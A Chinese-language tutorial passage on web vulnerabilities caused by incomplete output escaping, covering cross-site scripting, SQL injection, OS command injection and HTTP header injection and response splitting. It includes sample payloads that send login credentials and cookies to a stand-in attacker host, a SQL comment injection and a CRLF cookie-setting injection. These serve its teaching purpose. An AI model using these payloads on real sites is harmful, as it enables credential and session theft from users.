因輸出值轉義不完全引發的安全漏洞
實施 Web 應用的安全對策可大致分為以下兩部分。
客戶端的驗證
Web 應用端(服務器端)的驗證: 輸入值驗證 / 輸出值轉義
客戶端允許篡改數據或關閉 JavaScript,不適合將 JavaScript 驗證作為安全的防范對策。保留客戶端驗證只是為了盡早地辨識輸入錯誤,起到提高 UI 體驗的作用。
Web 應用端的輸入值驗證按 Web 應用內的處理則有可能被誤認為是具有攻擊性意義的代碼。輸入值驗證通常是指檢查是否是符合系統業務邏輯的數值或檢查字符編碼等預防對策。
從數據庫或文件系統、HTML、郵件等輸出 Web 應用處理的數據之際,針對輸出做值轉義處理是一項至關重要的安全策略。當輸出值轉義不完全時,會因觸發攻擊者傳入的攻擊代碼,而給輸出對象帶來損害。
跨站腳本攻擊
跨站腳本攻擊(Cross-Site Scripting,XSS)是指通過存在安全漏洞的 Web 網站注冊用戶的瀏覽器內運行非法的 HTML 標簽或 JavaScript 進行的一種攻擊。動態創建的 HTML 部分有可能隱藏著安全漏洞。就這樣,攻擊者編寫腳本設下陷阱,用戶在自己的瀏覽器上運行時,一不小心就會受到被動攻擊。
跨站腳本攻擊有可能造成以下影響。
利用虛假輸入表單騙取用戶個人信息。
利用腳本竊取用戶的 Cookie 值,被害者在不知情的情況下,幫助攻擊者發送惡意請求。
顯示偽造的文章或圖片。
跨站腳本攻擊案例
在動態生成 HTML 處發生:
XSS 是攻擊者利用預先設置的陷阱觸發的被動攻擊
下圖網站通過地址欄中 URI 的查詢字段指定 ID,即相當于在表單內自動填寫字符串的功能。而就在這個地方,隱藏著可執行跨站腳本攻擊的漏洞。
隱藏植入事先準備好的欺詐郵件中或 Web 頁面內,誘使用戶去點擊該 URL。
http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s="
瀏覽器打開該 URI 后,直觀感覺沒有發生任何變化,但設置好的腳本卻偷偷開始運行了。當用戶在表單內輸入 ID 和密碼之后,就會直接發送到攻擊者的網站(也就是 hackr.jp),導致個人登錄信息被竊取。
之后,ID 及密碼會傳給該正規網站,而接下來仍然是按正常登錄步驟,用戶很難意識到自己的登錄信息已遭泄露。
對用戶 Cookie 的竊取攻擊
除了在表單中設下圈套之外,下面那種惡意構造的腳本同樣能夠以跨站腳本攻擊的方式,竊取到用戶的 Cookie 信息。
<script src=http://hackr.jp/xss.js></script>
該腳本內指定的 http://hackr.jp/xss.js 文件。即下面這段采用 JavaScript 編寫的代碼。
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");
在存在可跨站腳本攻擊安全漏洞的 Web 應用上執行上面這段 JavaScript 程序,即可訪問到該 Web 應用所處域名下的 Cookie 信息。然 后這些信息會發送至攻擊者的 Web 網站(http://hackr.jp/),記錄在他的登錄日志中。結果,攻擊者就這樣竊取到用戶的 Cookie 信息了。
SQL 注入攻擊
指針對 Web 應用使用的數據庫,通過運行非法的 SQL 而產生的攻擊;如果在調用 SQL 語句的方式上存在疏漏,就有可能執行被惡意注入(Injection)非法 SQL 語句。
SQL 注入攻擊有可能會造成以下等影響。
非法查看或篡改數據庫內的數據
規避認證
執行和數據庫服務器業務關聯的程序等
SQL 注入攻擊案例
下面以某個購物網站的搜索功能為例,講解 SQL 注入攻擊。通過該功能,我們可以將某作者的名字作為搜索關鍵字,查找該作者的所有著作。
- 正常處理的操作示例
URL 的查詢字段已指定 q= 上野宣,這個值由 Web 應用傳入到 SQL 語句中,構成下方的 SQL 語句。
SELECT * FROM bookTbl WHERE author = '上野宣' and flag = 1;
該 SQL 語句表示“從 bookTbl 表中,顯示滿足 author= 上野宣 and flag=1(可售)所在行的數據”。
- SQL 注入攻擊的操作示例
把剛才指定查詢字段的上野宣改寫成“上野宣'--”。
構成的 SQL 語句就變成“從數據庫的 bookTbl 表中,顯示滿足 author= 上野宣條件所在行的數據”,如下所示。
SELECT * FROM bookTbl WHERE author ='上野宣' - -' and flag=1;
SQL 語句中的 -- 之后全視為注釋。即,and flag=1 這個條件被自動忽略了。
OS 命令注入攻擊
指通過 Web 應用,執行非法的操作系統命令達到攻擊的目的。倘若調用 Shell 時存在疏漏,就可以執行插入的非法 OS 命令。
HTTP 首部注入攻擊
HTTP 首部注入攻擊(HTTP Header Injection)是指攻擊者通過在響應首部字段內插入換行,添加任意響應首部或主體的一種攻擊。屬于被動攻擊模式;向首部主體內添加內容的攻擊稱為 HTTP 響應截斷攻擊(HTTP Response Splitting Attack);如下所示,Web 應用有時會把從外部接收到的數值,賦給響應首部字段 Location 和 Set-Cookie。
Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345*12345就是插入值
HTTP 首部注入攻擊有可能會造成以下一些影響。
設置任何 Cookie 信息
重定向至任意 URL
顯示任意的主體(HTTP 響應截斷攻擊)
HTTP 首部注入攻擊案例
以選定某個類別后即可跳轉至各類別對應頁面的功能為例。該功能為每個類別都設定了一個類別 ID 值,一旦選定某類別,就會將該 ID 值反映在響應內的 Location 首部字段內,形如 Location: http://example.com/?cat=101。令瀏覽器發生重定 向跳轉。
攻擊者以下面的內容替代之前的類別 ID 后發送請求。
**其中,%0D%0A 代表 HTTP 報文中的換行符,緊接著的是可強制將攻擊者網站(http://hackr.jp/)的會話 ID 設置成 SID=123456789 的 Set-Cookie 首部字段;發送該請求之后,假設結果返回以下響應。**
Location: http://example.com/?cat=101(%0D%0A :換行符)
Set-Cookie: SID=123456789
**此刻,首部字段 Set-Cookie 已生效,因此攻擊者可指定修改任意的 Cookie 信息。通過和會話固定攻擊(攻擊者可使用指定的會話 ID)攻擊組合,攻擊者可偽裝成用戶;攻擊者輸入的 %0D%0A,原本應該屬于首部字段 Location 的查詢值部分,但經過解析后,%0D%0A 變成了換行符,結果插入了新的首部字段;這樣一來,攻擊者可在響應中插入任意的首部字段。**###HTTP 響應截斷攻擊###**HTTP 響應截斷攻擊是用在 HTTP 首部注入的一種攻擊。攻擊順序相同,但是要將兩個 %0D%0A%0D%0A 并排插入字符串后發送。利用這兩個連續的換行就可作出 HTTP 首部與主體分隔所需的空行了,這樣就能顯示偽造的主體,達到攻擊目的。這樣的攻擊叫做 HTTP 響應截斷攻擊。**
%0D%0A%0D%0A
之后,想要顯示的網頁內容 <!--**在可能進行 HTTP 首部注入的環節,通過發送上面的字符串,返回結果得到以下這種響應。**
Set-Cookie: UID=(%0D%0A :換行符)
(%0D%0A :換行符)
```
利用這個攻擊,已觸發陷阱的用戶瀏覽器會顯示偽造的 Web 頁面,再讓用戶輸入自己的個人信息等,可達到和跨站腳本攻擊相同的效果。**
另外,濫用 HTTP/1.1 中匯集多響應返回功能,會導致緩存服務器對任意內容進行緩存操作。這種攻擊稱為緩存污染。使用該緩存服務器的用戶,在瀏覽遭受攻擊的網站時,會不斷地瀏覽被替換掉的 Web 網頁。